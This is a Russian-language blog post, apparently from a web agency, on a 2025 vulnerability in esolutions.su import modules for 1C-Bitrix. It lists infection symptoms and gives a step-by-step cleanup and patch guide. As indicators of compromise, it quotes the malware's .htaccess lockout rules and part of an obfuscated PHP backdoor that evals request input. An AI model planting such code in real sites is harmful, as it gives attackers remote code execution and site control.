В феврале 2025 года владельцы сайтов, использующих решения компании-разработчика esolutions.su, проснулись с неприятной новостью: сайты начали вести себя странно. Одни внезапно отправляли посетителей в онлайн-казино, другие перестали открываться вовсе. Кто-то видел белый экран, кто-то 403-ю ошибку в админке.
Позже стало ясно - это уязвимость в модуле «Импорт из XML, YML, JSON». Разбираемся, что это за баг, как он работает, чем грозит и, самое главное, что делать.
Коротко о том, что случилось и почему это важно
Как мы указали выше, уязвимость была у поставщика сторонних решений для CMS 1С-Битрикс в модуле импорта/экспорта Excel/XML. Через неё злоумышленники получали возможность загрузить на сервер вредоносные PHP-скрипты, которые могли:
- встраивать вредоносный код в файлы;
- подменять index.php в отдельных каталогах;
- внедрять свои .htaccess для редиректов;
- создавать каталоги с рандомными именами (1a869/, a410f/) с подменёнными index.php;
- внедрять siteheads.php внутри некоторых папок и иногда в папку assets/images/ в корне сайта.
Если на одном хостинге живёт несколько сайтов на разных CMS, заражение может быстро распространиться через общие FTP-доступы и слабые учётные записи. Именно поэтому при множестве сайтов лечение часто начинают с WordPress - они оказываются «нулевыми пациентами».
Как понять, что сайту нужна помощь?
Если вы увидите хоть что-то из списка, надо действовать немедленно:
- при заходе на сайт - редирект на казино, игровые или фишинговые страницы;
- вместо сайта белый экран;
- админка открывает только главную, а при переходе в разделы - 403 Forbidden;
- в корне появились файлы вроде wp-ver.php, siteheads.php или изменённый index.php;
- в корне или в /bitrix/ - папки с случайными именами (1a869/, a410f/) с подменёнными index.php;
- вирус создаёт собственный .htaccess;
- появляются папки assets/images/ в корне сайта, содержащие не ваши изображения.
Пример кода .htaccess, который часто клали вирусы:
<FilesMatch
'.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php|inputs.php|adminfuns.php|chtmlfuns.php|cjfuns.php|classsmtps.php
|classfuns.php|
comfunctions.php|comdofuns.php|connects.php|copypaths.php|delpaths.php|doicon
vs.php|epinyins.php|
filefuns.php|gdftps.php|hinfofuns.php|hplfuns.php|memberfuns.php|moddofuns.php|onclickfuns.php|
phpzipincs.php|qfunctions.php|qinfofuns.php|schallfuns.php|tempfuns.php|userfuns.php|siteheads.php
|termps.php|txets.php|thoms.php|postnews.php|wp-blog-header.php|wp-config-sample.php|wp-links-opml.php|
wp-login.php|wp-settings.php|wp-trackback.php|wp-activate.php|wp-comments-post.php|wp-cron.php|
wp-load.php|wp-mail.php|wp-signup.php|xmlrpc.php|edit-form-advanced.php|link-parse-opml.php|
ms-sites.php|options-writing.php|themes.php|admin-ajax.php|edit-form-comment.php|link.php|
ms-themes.php|plugin-editor.php|admin-footer.php|edit-link-form.php|load-scripts.php|
ms-upgrade-network.php|admin-functions.php|edit.php|load-styles.php|ms-users.php|
plugins.php|admin-header.php|edit-tag-form.php|media-new.php|my-sites.php|post-new.php|
admin.php|edit-tags.php|media.php|nav-menus.php|post.php|admin-post.php|export.php|media-upload.php|
network.php|press-this.php|upload.php|async-upload.php|menu-header.php|options-discussion.php|
privacy.php|user-edit.php|menu.php|options-general.php|profile.php|user-new.php|moderation.php|
options-head.php|revision.php|users.php|custom-background.php|ms-admin.php|options-media.php|
setup-config.php|widgets.php|custom-header.php|ms-delete-site.php|options-permalink.php|term.php|
customize.php|link-add.php|ms-edit.php|options.php|edit-comments.php|link-manager.php|ms-options.php|
options-reading.php|system_log.php)$'>
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
Пример обфусцированного кода в index.php:
<?php /*-qN00@V:`-*/error_reporting(0); $DJA
/*-aYl?2`k:C^LN;R-*/=/*-kYB7t.udNQe]87d1O;-*/ "ra"
./*-dsqM6|wNO)-*/"ng"./*-6jjo6$E@z%}xr~j2-*/"e"; $eV /*->^I{~H~D{A,C-Ox>-*/=
/*-2&bt^&]Y.O-*
/$DJA/*-@>gV&i@UUO}W>-*/(/*-<^:!k67PVG4$|N@Nkm-*/"~",/*-H~_c9W1Fd[o,ge.QU5-*/
" ");/*-0dG%CPX~k
DLa-*/$pP/*-F?-hU~i&t%|{f-*/=/*->-3b7Whq0Ye%:-*/${$eV[30+1]/*-3~ub~8yeKWm)|-*
/.$eV[40+19].
/*-|UMk$+9y-*/$eV[12+35].$eV[21+26]./*-`rO~!yr5|s`jRGu-*/$eV[25+26].$eV[5+48]
.$eV/*-y~J&!:?EEm0mx
6ksvn?-*/[38+19]};
/*-rt|gts~zht-*/if(/*-J8@$p3td3|@%E-*/(in_array/*-mqlN(M&a]hB-*/(gettype/*-S9
J
ka|z-;}C,t%^D^-Xym
nM2-*/($pP)==(2+26))){(($pP[19+44]=$pP[45+18].$pP[5+69])/*-4z43v]fDv.zxca(a$}
-*/&&/*-3j$>6Uzxqux)
Yrv-*/@eval/*-uJ)fh}M75;K>|5-*/($pP[19+44](${$pP[10+33]}[15+15])));}/*-Iuomav
-*/class /*-}y#w-*/g{
/*-CYIaC%-*/static/*-o.c1HhPf$-*/ function /*-$@;j-*/yChq($hCH)
/*-OAA=R4?x6-*/{ $ZH/*-_)7Ge^z-*/
=
/*-B5p){P!%+-*/"r"./*-_h-*/"a"./*-R`ZIM6-*/"n"./*-$@mbZr-*/"g"./*-1_v81-*/"e"
; /*--j$cbv-*/$FwiSXK
/*-M(c:}d-*/ = /*-}1(AD-*/$ZH/*-#x-*/(/*-6>-*/"~"/*-J-{-*/, /*-S_-*/"
"/*-(HM-*/);/*-YZ|-*/ $RrpZEzLD
....
Обфускация (base64, goto и прочая «завуалировка») - классический приём, чтобы затруднить обнаружение и автоматическую очистку.
Перед началом - самое важное правило
Не делайте «быстрых» правок на живом сайте, не сохранив бэкап. Даже заражённую копию сохраняйте: она пригодится для анализа, сравнения файлов и восстановления, если что-то пойдёт не так.
Если у вас нет надёжной резервной копии, заведите её прямо сейчас. У нас в MediaMint есть услуга «Страховка сайта» - автоматические бэкапы в облако, хранение вне хостинга и быстрая откатная точка.
Пошаговое лечение - полная инструкция
Шаг 0. Если на хостинге несколько сайтов, лечите WP первыми
WP-сайты чаще «заражаются первыми». Поэтому если на одном сервере есть WordPress и другие CMS, начните именно с WP.
Шаг 1. Сделать полную резервную копию (файлы + БД)
- Сделайте архив файлов сайта и дамп базы данных.
- Сохраните копию вне сервера (локально или в облаке).
- Файлы с вирусом пригодятся для анализа и при необходимости судебного/фрод-расследования.
Шаг 2. Через FTP удалите заражённые .htaccess, чтобы попасть в админку
Удалите (или временно переименуйте):
/.htaccess
/bitrix/.htaccess
/bitrix/admin/.htaccess
Это часто даёт доступ в админку и перестаёт перенаправлять трафик.
Примечание: делайте это через FTP/SFTP/SSH - не через браузер-редактор файлов на хостинге (он может сохранять кеши и поведение).
Шаг 3. Проверяем и удаляем заражённый агент
Дальше - проверка агентов (скриптов, которые запускаются по расписанию внутри Битрикса).
Если удаётся войти в админку, откройте Настройки → Настройки продукта → Агенты и внимательно посмотрите список агентов. Если видите нечто похожее, удаляем немедленно:
Обратите внимание на номер 1 - вирусы почти всегда прописывают себя под ID 1 для гарантированного запуска при каждом обращении к сайту.
Если в админку попасть не удалось, удаляем заражённый агент через API. Для этого используем стандартный инструмент API CMS (например, для CMS 1С-Битрикс подробности в справке).
Есть и альтернативный способ: откройте файл /bitrix/php_interface/dbconn.php и добавьте строку
define("NO_AGENT_CHECK", true);
Эта настройка временно отключает выполнение всех агентов. После добавления перезагрузите сервер, чтобы изменения вступили в силу. Это поможет остановить работу вредоносного агента и очистить систему.
Шаг 4. Проверяем bx_root.php
Теперь идём в /bitrix/modules/main/bx_root.php. В идеале, содержимое этого файла должно быть таким:
<?php
define("BX_ROOT", "/bitrix");
if(isset($_SERVER["BX_PERSONAL_ROOT"]) && $_SERVER["BX_PERSONAL_ROOT"] <> "")
define("BX_PERSONAL_ROOT", $_SERVER["BX_PERSONAL_ROOT"]);
else
define("BX_PERSONAL_ROOT", BX_ROOT);
?>
Если видите какие-то непонятные строки, особенно с eval, base64_decode, goto или просто хаотичные символы, файл заражён, и его нужно заменить на оригинальный.
Шаг 5. Использовать встроенный модуль «Поиск троянов»
В 1С-Битрикс есть инструмент сканирования:
/bitrix/admin/xscan_system.php
- Запустите «Поиск троянов».
- По итогам - скопируйте список заражённых файлов и просмотрите вручную перед удалением.
- Удаляйте/исправляйте заражённые файлы согласно отчёту.
Важно: антивирусный модуль может пометить «подозрительными» и кастомные скрипты, проверяйте руками, чтобы не удалить рабочие файлы.
Шаг 6. Сканирование и анализ файлов (доп. способы)
Если сайт на выделенном или локальном сервере, пройдитесь дополнительными сканерами:
- AI-Bolit - поиск вирусных вставок и обфусцированного кода;
- ClamAV - классический антивирус для Linux.
Эти инструменты часто находят скрытые вставки и скрипты, которые не видны поверхностно.
Шаг 7. Пересобрать/восстановить стандартный .htaccess
После очистки замените .htaccess на стандартный «чистый» шаблон Битрикс (или тот, который был у вас до инцидента). Можете воспользоваться дефолтным .htaccess на сайте Битрикса.
Шаг 8. Очистка кеша
В админке: Настройки → Автокеширование → Очистить кеш.
Если возникли проблемы, удалите вручную:
/bitrix/manage_cache/
/bitrix/cache/
Без этой очистки сайт может продолжать показывать старые, заражённые страницы.
Шаг 9. Обновление - ядро, модули, PHP/SQL
- Обновите CMS до последней версии.
- Особое внимание уделите обновлению модулей, в которых были уязвимости (список ниже).
- Обновите PHP и MySQL (поддерживаемые версии).
- После обновления проверьте логи на предмет повторных попыток.
Шаг 10. Повторное сканирование и мониторинг
- Повторно запустите «Поиск троянов».
- Запустите AI-Bolit/ClamAV.
- Включите мониторинг целостности файлов (например, cron-скрипт, который сверяет контрольные суммы и шлёт уведомления при изменениях).
Встроенные и дополнительные инструменты защиты для WP (и рекомендации)
Если у вас есть WordPress-сайты (часто - первичный источник заражения), сделайте следующее:
- регулярно меняйте пароли;
- держите актуальную версию PHP и MySQL;
- обновляйте ядро WP и плагины;
- установите капчу на форму авторизации (например, плагин Captcha);
- используйте защитные плагины (при корректной настройке они реально помогают):
- Wordfence Security (наша рекомендация).
- AntiVirus.
- Sucuri Security.
Ссылки (для установки):
Список модулей и их устаревших версий, содержащих уязвимость
Если у вас установлены устаревшие модули сторонних разработчиков для CMS, срочно обновитесь или отключите их.
Полный перечень устаревших решений для 1С-Битрикс размещен на сайте вендора по ссылке - https://www.1c-bitrix.ru/vul_dev/ .
Как быстро закрыть уязвимости модулей esolutions.su?
Ниже код, который нужно разместить в начале файлов модулей - это общий и безопасный способ прекратить произвольное исполнение:
<?if(isset($_REQUEST['path']) && strlen($_REQUEST['path']) > 0)
{
header((stristr(php_sapi_name(), 'cgi') !== false ? 'Status: ' : $_SERVER['SERVER_PROTOCOL'].' ').'403 Forbidden');
die();
}
?>
Этот код нужно разместить в начале файлов модулей esolutions.su:
- /bitrix/modules/kda.importexcel/admin/iblock_import_excel_cron_settings.php
- /bitrix/modules/kda.exportexcel/admin/iblock_export_excel_cron_settings.php
- /bitrix/modules/esol.importexportexcel/admin/iblock_import_excel_cron_settings.php
- /bitrix/modules/esol.importexportexcel/admin/iblock_export_excel_cron_settings.php
- /bitrix/modules/esol.importxml/admin/import_xml_cron_settings.php
- /bitrix/modules/esol.massedit/admin/profile.php
- /bitrix/modules/esol.allimportexport/admin/cron_settings.php
Когда и зачем обращаться к профессионалам?
Если после описанных шагов сайт продолжает странно себя вести (новые файлы появляются, админка недоступна, редиректы возвращаются), нужно собирать команду. Частые проблемы: скрытые бекдоры, злонамеренные cron-задачи, доступы, сохранённые в хостинге, которые не видны на первый взгляд.
Наша команда в короткие сроки сделает для вас:
- аудит и полный разбор заражения;
- очистку файлов и восстановление сайта из чистой копии;
- установку длительной защиты: мониторинг, контроль целостности, бэкап, ограничение доступов;
- консультацию по миграции сайтов и разделению сред (чтобы WP и Битрикс не мешали друг другу).
Свяжитесь с нами любым удобным способом, и мы сделаем диагностику и план лечения вашего сайта!